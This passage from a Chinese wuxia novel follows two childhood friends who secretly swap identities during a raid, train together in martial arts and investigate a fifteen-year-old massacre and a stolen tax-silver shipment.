他举步向前,在院中草草搜索了一下:“这下干净,都炸成碎肉了……等等。” 火光之下,有什么在瓦砾中发着微弱的金光,他蹲下来,伸手扒拉开杂物,露出一杆黑金笔。 拿起黑金笔,高远的身侧莫测,看了看天色,竟微微地笑了起来:“有趣!让我猜一猜,等下我们公子还能不能出现呢?” 江潮生把叶景行背回荒宅,一路上叶景行的脸就垂在他身侧,呼吸急促,断断续续地咳嗽,鲜血顺着黑金面具滴在他的黑衣上,每一滴都让他心急如焚。 把叶景行放在刚才铺好的野草上,江潮生跑去角落挖开地砖,掏出一瓶不知道放了几年的药,手颤抖得差点打不开。 他费力地掏出几颗药,刚要送过去,叶景行的手挡住了:“不必。” “管用的!我兄弟也是被打的吐血,吃一颗就好了。”江潮生急得团团转,差点直接伸手去揭他的面具塞药。 他知道叶景行是谁,叶景行大约也知道他是谁,这一层比窗户纸还薄的所谓秘密横亘在两人之间,双方都默契地不去捅破。 但今天不一样!生死关头了! “你听我说。”叶景行喘息着,一把攥住了他的手腕,“三更天,南明渡,上船,去……” 他猛烈地咳了起来,冰冷的手指死死钳住江潮生,命令他:“今晚,你就是我!” 江潮生立刻明白了他的意思,来不及犹豫,一咬牙重重地点了点头:“好!” 事关叶景行,就是千斤重担他也得扛起来。 他转念一想,又急切地叮嘱:“我约了人在此见面,你也得冒充我!” 叶景行没说话,只是抬起手,慢慢地摘下了黑金面具,月光下,露出他俊秀苍白的脸。 江潮生也解开蒙面黑巾,露出了本来面目。 两人四目相对,星光映照之下,都把对方的脸看得清清楚楚,再无遮掩。 这一刻,两人也许在心里曾经构想过千百遍,长大之后再度重逢的情景,但形势逼人,纵然见面,竟是连多一个字也没时间讲。 叶景行喘着气,把面具扣在了江潮生的脸上,手无力垂下,疲倦地闭目喘息:“去罢。” “嗯!”江潮生握住他的手紧了紧,“等我!” 亲卫们觉得今天的高统领有些奇怪,他素来阴鸷,今日行动又是要大开杀戒的,他却嘴角含笑,不时摸一摸怀中,似乎那里面藏着金银宝贝一般。 “都给我听好了!今天是剿灭江湖匪类,一个不留,谁腿软的,现在就滚下水去!”高远看了一眼天色,笑容更盛,一挥手,“出发!” 亲卫们面面相觑,有胆大地问:“不是说公子也来?” “哈哈哈。”高远仰天大笑,他此刻断定叶景行已经死在小院的爆炸里,虽然不知道为什么会出现在那里,但很显然,这位公子对王爷的背叛已经是铁板钉钉。 他还没笑完,场中火把突然齐齐一暗,劲风掠过,面前已经多了一人,手执判仙笔,脸上黑金面具,缓缓地转过身来,冷冷地逼视着他:“笑什么?” 高远像被雷劈了一般,张口结舌,吃惊得说不出话来。 叶景行!毫发无损地出现了!那他怀里的判仙笔是怎么回事!? “哼!”黑衣人傲视众人发令,“阵前发笑,动摇军心,拖出去斩了!” 亲卫们一时哗然,高远更是心惊胆战,赶紧上前躬身施礼:“公子恕罪,一时放肆,下次不敢了。” “哼!”黑衣人一挥袖,手执判仙笔的笔尖正对着高远,他看了个清清楚楚,黑色陨铁中金沙闪耀,星星点点,货真价实的判仙笔,绝非赝品。 “既知错,头前划船去!今日你就做一枚马前卒。”黑衣人冷冰冰地说。 众亲卫又一起看向高远,火把照耀之下渡口的小船早已备好,但为了隐匿行踪,都是柳叶型的小船,让堂堂亲卫统领高远去划船? “是。”高远一阵憋屈,但也只能听从。 黑衣人再度转向众人,语气高傲地下令:“今日进攻蓼花岛,东西北合围全力绞杀,留出南面不得有一人一船阻击,听明白了吗?” 亲卫们不敢吭声:这和说好的不一样啊。 高远忍不住插嘴:“公子这是何意?事先明明定下要四面合围,瓮中捉鳖,尽剿贼寇,不留一条漏网之鱼的。” “怎么?本公子行事还要向你禀报吗?”黑衣人沉声问。 “属下不敢。” “那帮江湖贼子心狠手辣,若是得知毫无退路,势必以命相搏凶悍异常,若让他们以为还有活路可以逃走,打斗之时必生惜命之心,这是兵法阳谋,这也是为了你们着想。” 众亲卫低头称是,于是黑夜中所有人迅速而无声地上了小船,船尾荡起的水波悠长,犹如十数条择人而噬的巨大黑蛇,悄然向红花会大本营游去。 江潮生站在船中央,看着高远哼哧哼哧在面前划船,不经意地抬头抹去了额上的冷汗。 他这边算是混过去了,不知道叶景行那边如何。 叶景行闭目运功,真气周身流转,一点点修复着被震荡所伤的筋脉血肉,终于一口污血喷出,胸口犹如冰碴塞满的窒息感减轻了些。 “大侠?”诧异的声音传来,喻枫身着青衣,一张脸烟熏火燎好几处漆黑,站在院门口惊疑不定地看着他。 叶景行睁开眼睛,一时却不知道该怎么装成江潮生,只能淡淡地说了一句:“你来晚了。” “对不住,前面几条街有火情,我协助军巡铺疏散民众,刚刚灭火。”喻枫握紧单刀,鼻端的血腥气和焦糊气让她平生警惕“您这是……” 叶景行迟疑了一下,低声说:“正有事相求,你可曾在废墟之中看到一杆黑金笔?” “您的判仙笔?”喻枫脸色大变,“未曾!不过大侠放心,我这就回去仔细寻找。” “不必。” 叶景行的心向下沉去,虽然不知道是谁利用小院布下霹雳杀局,但既然炸响了,那势必有人会回来查看收尾。 判仙笔一定是被那人捡走了,说不得还在附近停留,此时喻枫再回去寻找只会打草惊蛇。 不知道江潮生那边能不能应付,说起来,刚才若不是他下去,换做江潮生那个三脚猫撞上雷火弹,必死无疑。 “大侠,是不是那个假的公道堂之人布下陷阱,要害您?”喻枫愤慨地说,“居然在城中动用火药!浑然不顾普通民众身家性命,真是罪该万死!” 叶景行抬眸看她,从喻枫的眼神中看到了真挚的关心,心里叹了口气:这江州府的小捕快,虽然眼神不好,难得心地赤诚。 “你的风雷刀法是跟谁学的?”他岔开话题问。 喻枫一脸迷惑:“我在老家跟一位伤退的镖局师父学的,是叫风雷刀法?大侠果然见多识广。” 叶景行又叹了口气,伸出手捡了根草杆:“也罢,教你几招。” 说罢,他真气灌注之下,细弱草杆向前如刀挥出,竟带上了隐隐风雷之声:“看好了!” 喻枫其实隐隐有些疑惑,为何这位义士大侠之前平易近人还有些碎嘴子,今夜却变得言简意赅起来,大约是因为受了伤有气无力?但叶景行一招使出,她啥都顾不上了,双眼瞪大,一瞬不瞬地仔细观看,同时在心里揣摩,看到顿悟之处,拔出单刀,心无旁骛开始演练。 直到天色微明,喻枫才意犹未尽地收回单刀,经过叶景行的点拨,她突然觉得刀法较从前圆融贯通了许多,有些本来艰涩的地方豁然开朗,一夜未睡却更加神采奕奕。 “多谢大侠指点。”她真心拜服,拱手道谢。 叶景行经过两个时辰的调息运功,内伤也好了许多,利落地敛袖而起:“那就此别过。” “等一下。”喻枫冲口而出,“您叫我过来本来是打算做什么的?” 叶景行一摆手:“已经无事,不用劳烦你了。” 喻枫的眸子黯淡了下去,她心里酸涩,轻声问:“您是不是因为我是喻东升的女儿,才对我有所保留的?” 她低着头,没注意到叶景行猛然扭过头来,黑眸中闪过一丝寒光,良久才淡淡地说:“你多虑了。” 喻枫鼓起勇气抬头看向他:“我知道大侠在追查那个假冒公道堂行凶的人,若日后有关系我爹的线索,可不可以告诉我?我不相信我爹是那种人。” 她的声音失落地低下去:“但他们都觉得判仙笔下无冤魂,公道堂说我爹是赃王他就一定是……我爹肯定是冤枉的!目前我找不出证据,有生之年,我一定要查出真相,手刃凶手!” 喻枫一直等着,夜色朦胧中,终于看到面前的黑衣人轻轻地点了点头。 他说:“好。” 与此同时,在江中附近的蓼花岛上,高远一身狼狈,冲到江潮生面前,几乎是咬牙切齿地问:“现在怎么办!?” “什么怎么办?”江潮生学着叶景行的模样,微微侧首,三分霸气三分清冷四分飘逸出尘,斜眼看着他。 高远恨得回身指着南边:“本来可以无声无息摸上来,您偏要放火烧岛,贼子们有了防备,更因为南方无人把守,我亲眼看着杨顺水拼着丢了条胳膊,带着几个人跳水逃了!……” 更可恨的是公子平时人淡如菊,今天却像吃了千年人参一样,热血上头,冲锋在前,浑忘了指挥之责,问题他的雨花笔法施展起来真就是天罗地网敌我不分,一招又一招的‘急把银河倾做雨’无休无止地施展开来,红花会固然死伤无数,他率领的亲卫们被波及的也有不少! 他还经常祸水东引,好几次红花会的钩刃尖芒都被他引到了自己身上!现在好几处撕扯掉的皮肉还在汩汩流血。 高远不得不怀疑,叶景行是在报复。 江潮生运足了叶景行的高冷神韵,讥诮地看着他:“你质疑我?” 这一眼瞬间压制住了高远,让他不得不憋屈地低头咽下了这口冤气:“属下不敢。” “我自有主张,早有人坠着尾巴跟下去了。哼!等你坐到我这个位置,再来问我不迟。”江潮生冷哼一声,目光扫过蓼花岛上四处余烬未息的火苗,还有倒地惨叫的伤员,亲卫们正拿着刀四下巡视,看到尸体就补一刀,动作利落,纪律森严。 他能做的都做了,也不知道能逃出去几个。 江潮生心里叹息着,傲慢地转身:“回城。” 城内巷子里突发的爆炸火情固然惊心,但一夜之间城外红花会土崩瓦解更是骇人听闻,街头巷尾纷纷议论,到底是哪路好汉要来抢地盘,怀疑对象已经列了十几家。 这一切都和江潮生无关,倒是本该在叶玟杰走后搬出行宫的叶景行突染风寒,卧病不起,纪知府没好意思赶人,只能让他继续住下去。 陶陶的小药炉子扇得一日不得歇,院里弥漫着汤药的苦香。 江潮生一手提着水桶一手拎着抹布进来,有些怅惘地想:少了个长寿。 他闷头擦地,偶尔抬头,看见窗户半开,叶景行在窗前榻上坐着看书,白衣乌发,侧影俊秀如玉雕,一派安静恬淡的气质。 和他是两个世界的人。 日头升到头顶才干完,江潮生热得一头汗,刚直起身子准备回厨房喝碗绿豆汤,一团黑影从窗内抛来,他赶紧接住,却是一本《诗经》。 叶景行不知道什么时候站在窗前,看着他,叹气道:“既跟了我,不能这副没读过书的蠢样,这本《诗经》拿去,一气读完背熟,再来找我听解经释义。” “啊?”江潮生忙不迭扔下抹布接住了书,翻开看了几页,挠挠头,“公子,饶了我吧,读书也不能让我擦地擦得更干净些。” 绣帘飘动,叶景行白皙的侧脸若隐若现,他投来嫌恶的目光:“你又不能擦一辈子地!” 香堇摇着扇子,笑眯眯地在旁边帮腔:“我们公子最是心善了,我和陶陶认字都是公子教的。” 江潮生低头看着书,新油墨的清香,眼前一阵恍惚,仿佛回到了十五年前,自己近乎虔诚地捧着书本,对面一只小手在上面认真地指点着:“这个字念唐,就是你和我姓的那个唐,这个子念江,就是唐小江的江……” “对,公子最是心善了。”他抬起头,笑得憨厚,“我一定好好学。” 一阵微风吹过,吹动枝头嫩叶,传来江边水气,行宫偏院这小小一隅此时竟有些岁月静好的意味。 而叶景行和江潮生都知道,这是风雨之前难得的平静。 10. 第九章 兄弟齐心 七月十四这天,鬼门开,按习俗大家都闭门不出,街面上难得的清净,府衙里也只剩下值夜的人。 喻枫若无其事地穿过签押房,一路走向侧院,遇见回家的书吏还笑着打了个招呼。 待左右无人,她一闪身进了文书库,快步向后排走去,眯着眼睛借着窗外月光细细地寻找着自己要的东西。 她不知道,此刻在府衙对面的屋顶上,叶景行已经观察她多时,看着她进了文书库许久不出来,略一思索,就要起身。 尚未行动,一道黑影掠过,江潮生同样穿着黑衣落在屋顶上,苦笑着问:“你盯着她作甚?是不是上次……她和你相处之时得罪了你?那我替她赔个不是?” 叶景行抬起眼睛,平静地告诉他:“你没那么大面子。” “你说话不要这么直接嘛。”江潮生顿感头疼,却还是固执地挡在他面前,“她是个好人,跟她爹不一样,没有拿过她爹的赃钱。” 叶景行发出一声冷笑:“她如今是英姿飒爽女捕头,敢说不是受她爹的钱财供养?怎么称得上无辜?倒是喻东升的女儿还能在府衙当捕头,让我大为意外,当真是盗匪官亲如一家,江洲城好旺盛的黑气。” “不不不,你听我说。”江潮生双手乱摇,“她是我的人!我的……线人!我需要她从府衙查找当年的真相,所以你现在不能动她!” 叶景行伫立不动,沙哑着嗓子问:“所以你一直在查?” 江潮生尴尬地放下手:“人活着也就这点念想了。” 夜风吹动两人的衣襟,良久,叶景行冷冷地开口了:“你要是真有这份心思,就该心无旁骛修炼武功!我打着公道堂的旗号大张旗鼓地行事,就是为了让当年那个人、或者那群人自己找上门来。人活在这世上,唯有站到高处才有资格说话,若今日你与我旗鼓相当,还用如此卑躬屈膝么?” “这话说的,怎么叫卑躬屈膝呢,我不是在跟你好好解释吗。”江潮生陪着笑说。 叶景行上下打量了他一下:“若我不听你解释,执意要斩草除根,你并没有本事拦住我。” “这个世上能拦住你的人可不多。”江潮生说话的神情甚至有些与有荣焉的味道。 叶景行受不了地闭了闭眼,低声说:“随我来。” 城南山下,荒无人烟,杀人都不用埋的偏僻地方。 月色下江潮生勉力翻滚,好容易躲过一击,抬起判仙笔试图反击,已被叶景行并指如剑,不轻不重地戳在颈上,他一阵眩晕,就地狼狈趴倒,大口喘着气。 “算上这次,今夜你已经死了十回了。”叶景行落在他身边,用鞋尖踢了踢他,“你当初也学过了两招雨花笔法,怎么粗劣至此?” 江潮生费力地翻过身来,仰面向天,呼哧呼哧地喘气:“我笨嘛!倒是你,师父当年不是说你身体虚,不能练武?你是怎么练到如此境界的?” 叶景行负手而立,淡淡地说:“爹是心疼我,他没了,我就不能心疼自己了。” 江潮生心里一紧,睁大眼睛疼惜看着他:“景行,你……你是不是吃了很多苦?” “还好。”叶景行揭破他的小心思,“你是想问我这十五年都是跟谁在一起吧?” 江潮生尴尬地挠挠头:“是,之前没好意思问……” 现在两人打了一回,不知为何,关系好像拉近了一些。 “义父也是公道堂之人,排行第七。”叶景行淡淡地说,“我知道你想说什么,义父也说公道堂里有内奸,事出突然,他来不及助我爹突围,只能回去从火海里救出了我。” 他转而看向江潮生,语气虽然平淡,却含着隐隐的关心:“你呢,这十五年怎么过来的?” “我……我就要饭啊,当个叫花子。”江潮生含糊地说,此刻的他又恢复了常年在底层蛰伏喘息时候的警惕,小心地探问,“你义父……” “你不用怀疑,我义父是好人!”叶景行斩钉截铁地说,“他用自己明面上的宗室子弟身份给我爹收了尸,再说他并没有强求我,是我自己执意要练武,唐家的流沙诀不适合我修习,义父还特地重金找人教我明月心诀,此心法虽有缺陷,但能让我从病秧子变成高手,倒也值得。” 说着,他若有所感,抬头看着头顶的圆月,江潮生也注意到了,一骨碌爬起来仰着脸问:“那咱俩第一次见面,打斗的时候你好像很痛苦的样子,是不是就是这个明月心诀的不足之处?” 叶景行不想多言,嗯了一声,江潮生却追根究底地问:“你这个缺陷都有谁知道吗?为什么铁杀寨的人那么巧就选在十五和你约战?” “你想说什么?”叶景行冷冰冰地问。 “我就是想提醒你,身边的人不一定可靠。”江潮生缩了缩脖子,小声说。 叶景行悲凉地笑了笑:“这一点,我爹已经用命让我牢牢记住了。” 两人沉默了片刻,叶景行突然伸手如电,去夺江潮生的判仙笔,江潮生本能地就地一滚,手脚并用地爬出去一丈多远,刚问一句:“你干嘛?”叶景行如影随形而至,真气随指而出,噗噗噗划破江潮生的黑衣,所到之处,肌肤如被鞭打一般炽痛起来。 情急之中,江潮生闪展腾挪,使尽了十几年练就的逃命功夫,还是被叶景行轻松压制无力挣扎。 一只手伸过来,拿走了他手里的判仙笔。 “这支笔我就先保管了,什么时候等你有本事了,自己拿回去。”他修长手指转动了一下,黑金笔在掌中盘旋不休,金芒毕露,比在江潮生手里活泛了许多。 江潮生悻悻然地就地大字型瘫倒,嘀咕道:“本来就是你借给我的,十五年了,也该还给你了。” “呵。”叶景行俯视着他,“当初你勤勉踏实,为一招彻夜修习,多年不见,竟然惫懒成这副无赖模样。也罢,我换个条件,待你学成,我就带你去爹的坟上磕头。” 这一句话让江潮生沉默了,终于爬了起来:“说好了,别反悔啊。” 叶景行一把捞起他的手腕,真气探入,眉头紧皱:“流沙诀也只练了皮毛,你要学的东西还很多。” 后来的事实证明,江潮生很怀疑他说的是:你该挨的打还有很多。 自从陆大厨因病辞职,鼎香楼的生意就差了许多,正当华灯初上,晚间饭点的时候,一楼还勉强坐满,二楼雅座十空七八,跑堂的闲得坐在窗口打盹儿。 甚至门口要饭的叫花子都少了许多,江潮生蹲在门口等了半天,也没人给他丢一个铜板。 他占坑的存在引得周围的同行都怒目而视,江潮生浑然不觉,只是摇晃着破碗一边讨要,一边对身边头发蓬乱两眼无神的张发财说:“发财,看我够不够兄弟?你要饭要到老东家门口,这么丢脸的事我都陪着你。” 张发财比原先瘦了一大圈,呆呆地斜靠在墙角,不说话,也不动,仿佛被抽取了精气神,又好像什么都不感兴趣。 “知道你心里苦,我也不会劝人,世间苦的人多了,就这条街上,我都能数出十七八个来。”江潮生放下破碗,站起来伸了个懒腰,“这样吧,兄弟一场,我跟你保证,等哪天你死了,我给你收尸,跟阿水姑娘合葬。” 他已经看见了喻枫,从街道的另一边走来,换了身女装,手里拎了个篮子,秀发披肩,遮住了半张脸,乍看像个卖小食的坊间姑娘。 喻枫走到跟前,目不斜视地进了门,江潮生贼眉鼠眼地四下观察了一阵,确认没有人跟踪,刚要抬脚,裤腿却被人抓住了。 他低头一看,张发财乱发中呆滞的眼珠转动了两下,沙哑地说:“真的?” “嗯,我起誓。”江潮生像模像样地举起手。 张发财终于有了点活气,吃力地挪动着身躯爬起来,一瘸一拐地走开:“滚蛋!咱俩还不知道谁先死呢,别到时候我还得埋你。” “嗨,谁埋谁不一样!”江潮生看着他的背影,笑骂了一句,“你最好死我后头,不然我就把自己埋在你俩中间,让你俩天天说不上话!” 他尾随喻枫先后上到二楼,推开雅间的门,房内早有人等候。 一身黑衣,黑巾蒙面,只露出一双灿若星辰的眸子,打扮浑不似个良民,喻枫却松了一口气,恭敬地拱手:“大侠,又见面了。” 叶景行颔首示意,喻枫兴奋地说:“上次承蒙您指点我刀法,大有进益,相捕头昨日都败给我半招!” 她拉过旁边的江潮生,用力压着他低头:“你既然和大侠相识,怎么不求他教你两招,也省得你在街面上混的时候老挨打。” 江潮生尴尬地笑着,一边看叶景行的脸色一边挣脱:“说正事哩,让你找的东西带了吗?” “你这惫懒油滑的脾气何时能改。”喻枫叹口气,打开篮子,取出一叠蝇头小字誊抄的文书递过去,“这是承熙三年所有归档的文件副本,我看过了,别无异常,但是这一处——” 她用手一点:“衙役府兵死伤病残,都有抚恤金发放,我比照了前后四年的账目,这一年并无明显增加,但如果捉拿唐大侠那样的绝世高手,不可能只有寻常伤亡。” “会不会是卫所的兵?”江潮生提问。 喻枫赞赏地看了他一眼:“我也这么想!但是这里面也没有调兵的公文,擅动卫所兵马是谋逆大罪,当时的千户姓周,现在京城大营当副统领,前途坦荡,不像有事的样子。” “不对!”江潮生突然想起来,“没有调兵公文,那就不对!承熙三年海龙帮邓老大灭门,丐帮兄弟躲在破屋里亲眼看见是铁甲长枪兵封锁了街道,就算截杀我师……我实在敬仰的大英雄唐无双那次存疑,杀邓家却是真刀真枪地动了兵。” 喻枫咬紧牙关:“那就是私自调兵!他们好大的胆子!但若真的是公道堂碍了朝廷的眼,那发兵征讨是正大光明昭告天下的事才对,为何不能落在纸上?” 叶景行凝目看了一会儿,也开了口:“江湖草莽如海龙帮之流,在卫所兵马面前只得土崩瓦解,但我……我师父唐无双不一样,哪怕是数百兵马围困他也能来去自如,那一夜,一定发生了什么我们现在还不知道的事。” 内奸,他和江潮生都心知肚明有这个人,不但在血战突围之时突然反水伤了唐无双,而且在随后率人血洗了唐家山庄。 他一定是唐无双最信任的人,不然唐无双不会用后背对着他,更不会让他摸到唐家山庄的线索。 两人对视一眼,其意不言自明,叶景行转向喻枫,温和地说:“多谢喻捕头,记住,这件事只有我们三人知晓。” “那是自然。”喻枫笑了笑,从篮子里又摸出一个油纸包递过去,“快到中秋节了,府衙刚发的月饼,我借花献佛,送给您。” 叶景行的目光落在朴素的油纸包上,手刚伸出去要接住,江潮生已经敏捷地拦了过去,嘀咕着:“可不敢让他乱吃东西,” “江潮生!”喻枫恼得差点上手抽他,“你要吃回头我再拿给你!” 月饼最后还是进了江潮生的肚子,二人在南山下借着月色打了一场,江潮生这一个月来武功突飞猛进,流沙诀催动雨花笔法施展出来,笔锋呼啸如万里朔风席卷漫天黄沙,虽然不如叶景行施展出来的那般水银匝地无孔不入,却自带一种浩瀚沙海的凶猛悍勇,笔锋所过之处,金芒咄咄逼人,有一种要将面前无论人畜山河尽数掩埋的气势。 叶景行难得地点了点头:“尚可。” 江潮生这一个月被叶景行打得狼狈不堪,有了这两个字,心头一松,一屁股坐下来:“我还是可堪造就的嘛!十三式这不就学会九招了!明天可以教我第十式了吧?” 当年那个雪夜,叶景行拉着他的手仔细教他雨花笔法第一式的情形,清晰得犹如在昨天,隔了十五年的时光,在这个夏夜,终于连上了。 他放松地把手向后撑在地上,仰起脸对着叶景行笑,一脸邀功的得意。 头顶的月亮半满,叶景行背对着月亮,银辉映在他的侧脸上,肌肤如玉,眉目俊秀,看向他的眼神却似有怅惘。 “第十式啊?不急。”叶景行喟叹道。 江潮生心里没来由地一紧,为了掩饰,他唠叨着打开油纸包,只是颤抖的手多少泄露了他的心思:“真好啊,马上就中秋节了……这十五年,我无数次做过同样的美梦,一切都没发生,师父没有死,唐家也没事,我和你一起长大,一直在一起没分开过,在后山,在庄子里,就像现在这样,你教我识字,我们一起习武,我有不懂的地方,你教给我……” 这样的日子,为什么迟了十五年呢?又为什么这么短呢? “小江。”叶景行叹息,“我要回京了。” 江潮生埋着头,油纸包里的月饼圆圆的,散发着甜香,他死死地盯着,像要把月饼盯出一个洞来。 “中秋节,得回去一家团圆。”他沉声说,早已坚硬的心里有什么东西酸涨得似要往外拱出来,“此一去,不知道什么时候才能回江州。” 江潮生胡乱地点了点头:“对的,你该回去,我会留在江州,接着查……” 叶景行的手放在他肩膀上,用力地捏了捏:“我知道我们彼此都有所隐瞒,但如果这世界上还有一个我相信的人,那就是你了,你要多加小心。” “能……能不回去吗?”江潮生鼓起勇气要求,“太危险。” 叶景行的判仙笔下落不明,始终是隐患,而且他回去之后,是不是要跟之前一样,以公道堂的名义去‘惩恶扬善’?如果他不肯,又用什么办法拒绝。 他那个义父……真的是好人吗? “我自有主意,你放心吧,倒是你。”叶景行故意讥诮地说,“你这三脚猫的功夫自己保命都不够,还想行侠仗义。我不在的时候你可要勤加练习,等我回来发现你偷懒,那就不止死十回了。” 江潮生抬头,勉强露出一个微笑,把手里的月饼掰了一半递过去:“那……吃月饼吧!就当我们提前过中秋节了。” 叶景行看着他手里半个被捏得歪歪斜斜的月饼,莞尔一笑接了过来:“好啊。” 承熙十八年,注定是个不平顺的年份。 旱情已过,灾民返乡,江洲城好容易恢复了繁华烟火气,就在大家喜气洋洋地准备过中秋节的时候,一封急报却让府衙上下都忙碌了起来。 当季三省财政统共二百万两的税银,在押运往江州的途中,消失得无影无踪。 消息传出,朝野震惊,据说圣上当即就摔了折子,把一干人等骂得狗血淋头,限定半月必须追回失银。 其实这案子乍看起来全无疑点,路线是早就规划好的,三省税银运到江州,合着江州的税银一起装船沿江而下直达京城,运送人手是游击将军麾下的一队精兵,另外还有八犬盟派遣的四十个镖师,两百个趟子手,加起来三百人,各个身强体壮,拿刀执枪,就是走在路上也是不可小觑的一股力量,沿途便是有匪寨,在江湖规矩和朝廷法纪双重威压之下,也断然不敢伸手。 八犬盟是八家顶尖镖局的联盟,势力遍布全国,实力高强,口碑出众,专为运送大宗要紧货物所建,单是为朝廷押运税银也不是第一次了,十几年来从未出过差错,孰料这一次栽了大跟头。 根据沿途驿站的口供可知,前三日队伍都是按时到达,按时离开,毫无异样,八月十二号当晚,八犬盟的总镖头万清华还因着要过虎拦山,怕要在山中过夜,特地向驿站多订了几日的食水。 但是这支队伍,再也没有从虎拦山出来。 坊间更是传得神乎其神,说是虎拦山有大蛇,一口吞了三百人的,说是虎拦山有瘴气,队伍在睡梦中被毒死的,说是虎拦山古虎神发了怒的,说是虎拦山妖精吸干了精壮男人的血气的,绘声绘色,被府衙贴出告示训斥了一顿,扬言要抓信谣传谣者扛枷示众才歇了一阵。 而叶景行也接到了叶晟的飞鸽传书,要他不必回京,即刻起身前去探查。 于是,这位在行宫养了一个多月病的贵公子,终于在八月十五的清晨乘坐马车离开了江州。 他在离开之前,当着众人的面,叫香堇把江潮生的卖身契捡出来还给了他,香堇站在台阶上,一脸高傲地说:“像这样的夯货,出门在外将就使唤几日也就罢了,若是带回京去,没得损了公子的颜面,今日还你自由身,去罢!” 话虽这样说,她暗地里还塞过来一把碎银子,江潮生呆呆地接过,握在手里,站在大门外看着叶景行缓缓步出,宽大豪华的马车早就等在门口,两匹高头大马辔鞍鲜明,正在不耐烦地刨地。 叶景行一偏头,两人目光对视,一眼万年。 “阿生。”他信手拿过一本书和一卷画轴,丢到江潮生怀中,“我走了,你也要记得念书,这幅画留着做纪念罢。” 说完,他再不停留,弯身踏入车厢,香堇和陶陶随后跟入,锦帘垂下,车夫挥了个响鞭,早就等急了的大马翻蹄亮掌,疾奔而去。 很快,就化成了大道上的一个黑点,减至而无。 江潮生吸吸鼻子,低头看怀里,那本书映入眼帘,正是《诗经》。 他小心地拉开画轴,纵然不识货,从泛黄的纸质到其上工笔秀致的渔翁小舟,也知道这幅画价值不菲。 久远的记忆细碎地浮起:一只瘦弱的小手坚定地拉着他,在高大充满墨香的房间里指着墙上的一幅画,嘴里说的什么已经不记得了,就记得当时自己的感觉,很温暖,很……幸福。 江潮生慌忙翻找着,终于在画上的芦苇从里发现了一个小小的,歪歪扭扭的‘唐’字。 “什么意思啊!”江潮生蹲下身,掩盖住眼里的泪光,哽咽着埋怨,“朋友一场,你要留点金银珠宝给我才好啊,给我这幅画干什么啊?你是唐家的人,这幅画应该由你传下去,当你的传家宝才对嘛,我可不想……我可不想替你活下去!你别把这个担子甩给我。” 他嘀嘀咕咕地抱怨了一顿,抹去泪水站起来,抱紧了怀里的东西:“一个二个的,都懒得很,都想让我给你们收尸对吧?休想!要死就死在一起!” 入夜,江边的万花楼照样是艳帜高张,笙歌乐舞,但今日的客人却寥寥无几。 那些揣着银子要来怜香惜玉的大爷们,走到街口就能看见一群蓬头垢面的乞丐,挤在万花楼门口,一眼望去足有二三百人,手里拿着破碗和竹竿,高声敲打着。 “全江州的叫花子都来嫖了?”一位客人惊愕地问。 这还不算完,从大街小巷,破庙荒宅,源源不断的乞丐还在往万花楼聚集,甚至断了腿的坐在地上用木板划得飞快,也加入了堵门的人群当中。 乞丐们聚集在一起,别说这齐声敲击的阵势,就是身上的味道也难闻得很,来万花楼的大爷们是来享乐的,哪里受得了这个,纷纷打起了退堂鼓。 姑娘们没了客人,挤在二楼栏杆处,捏着小手绢往下看,大堂里老鸨恶形恶状,一抬腿踩在桌子上,用最大声音吼叫:“臭叫花子!红花会当年也没你们这么没脸没皮,使出这种下三滥的手段,想收老娘的黑钱?” 她转身又向龟奴吼道:“还愣着干什么?去府衙报案!我们一年白花花的税银交着,用得上官府的时候终于到了!快去!” “莫急咯,老鸨。”江潮生无赖地笑着,“我进来是好好跟你说的,你不听嘛,只能找丐帮的兄弟来替我喊大声一点。” “我呸!”老鸨双目圆瞪,“我们万花楼,打开门做生意,明码标价!都像你这样不花钱还想找姑娘,我的生意也不用做了,直接去庙里把佛像推倒,我坐上去吃香火正经!” 江潮生一本正经地摇了摇手指:“都叫你别急了,我也不是随便哪个姑娘都行的,我要找婀娜姑娘。” 此话一出,老鸨僵住了,倒是身后的龟奴不晓得厉害,纷纷怒吼:“没钱就滚出去!找哪个姑娘也不行!” 他们不但嘴上说,还卷袖子上来准备把江潮生给扔出去,门外的竹竿敲地声突然变得急促,如疾风骤雨,咄咄咄地让人心惊。 老鸨却一伸手拦住了龟奴,惊疑不定地上下打量着他:“你怎么会知道婀娜这个名字。” “你猜啊?”江潮生笑着问。 老鸨捂住胸口,狠狠喘了几口气,才压低声音说:“百花深处的事我做不了主,你找错人了。” “那就找能做主的。”江潮生诚恳地建议,“快点儿,我们丐帮兄弟要饭也很看时间地点的,耽误久了,让大家错过了饭点要饿肚子的,饿肚子的时候,人脾气通常都不会好。” “你!”老鸨的脸涨得通红,咬紧牙关向天一指,“真当万花楼都是姑娘,软弱可欺吗?!” 本来千帐温红,旖旎风光的楼内,突兀地布满杀机,刺得江潮生脖子上的汗毛直竖,这股杀气绝非来自那群膀大腰圆的龟奴,而是隐藏在万花楼各处,无处不在的黑影。 江潮生的右手举了起来,门外的竹竿敲地声密集到无法分清,就在这一触即发之时,嘈杂中神奇地出现了一缕悠扬的琴音,细弱到都让人以为是听错了。 但刚才还张牙舞爪的老鸨突然退后一步,脸上重新挂上迎客的谄媚笑容,小手绢一挥,娇嗔道:“贵客~~~~里面请!” 这一请,就在连廊相接的万花楼里走了无数道门,犹如迷宫相仿,粉红的纱帘起起伏伏,犹如温柔的手臂缠绕在江潮生肩上、身上、脸上,一阵阵香风袭来,又好像是少女躲在门缝里向外窥探,传来若隐若现的欢笑声,犹如银铃。 江潮生站住了,语重心长地说:“这招对我没用。” 他中过毒,还不止一次,时间太长,都已经忘记是在哪座城,遇见什么人了,总之再一次死里逃生之后,瞎老头找来的医生摸着他的脉叹息道:“因祸得福,以后江湖里一般的毒对你没用了。” 突然一下,什么都消失了,笑声,香风,甚至纱帘也都规规矩矩地垂下,他身边最近的一扇门无声打开,内有一个美女对他嫣然一笑:“公子,妾就是婀娜。” “别!”江潮生举手制止,“我就是个臭要饭的,别叫我公子,等会儿趁机抬价可不行啊!” 婀娜笑容未变,甚至更开心了:“那……你想与我做什么生意呢?” “虎拦山。” 江潮生只说出三个字,婀娜就了然地笑了,明眸流转:“这消息……可贵啊,你付得起吗?” 一卷画轴扔到她面前,婀娜拉开欣赏了一会儿,抿嘴笑道:“《垂钓图》,顾大家真迹,东西是真东西,只是……不够。” “多少才够?”江潮生抱着膀子冷冷地问,“加上你的命?” 婀娜的笑容都不免僵了一瞬:“按道理来说,这时候你不应该说‘加上我的命够不够’嘛?” “我很惜命的,所以只能加上你的命了。”江潮生一脸的理所当然。 他言语油滑,做派无赖,但不知为何,此时却让婀娜想起了之前在自己面前的另一个人,也是冷冰冰的要自己的命。 